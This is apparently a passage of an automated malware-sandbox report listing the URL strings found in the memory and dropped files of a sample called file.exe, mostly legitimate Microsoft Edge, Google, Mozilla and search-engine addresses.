Source: file.exe, 00000000.00000002.1920673438.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1919720460.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AKFHDBFI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_434.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 128111f0-c152-4c7b-8f1c-6f4aab452da7.tmp.9.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: AKFHDBFI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 128111f0-c152-4c7b-8f1c-6f4aab452da7.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 128111f0-c152-4c7b-8f1c-6f4aab452da7.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_434.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_434.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_434.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_434.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
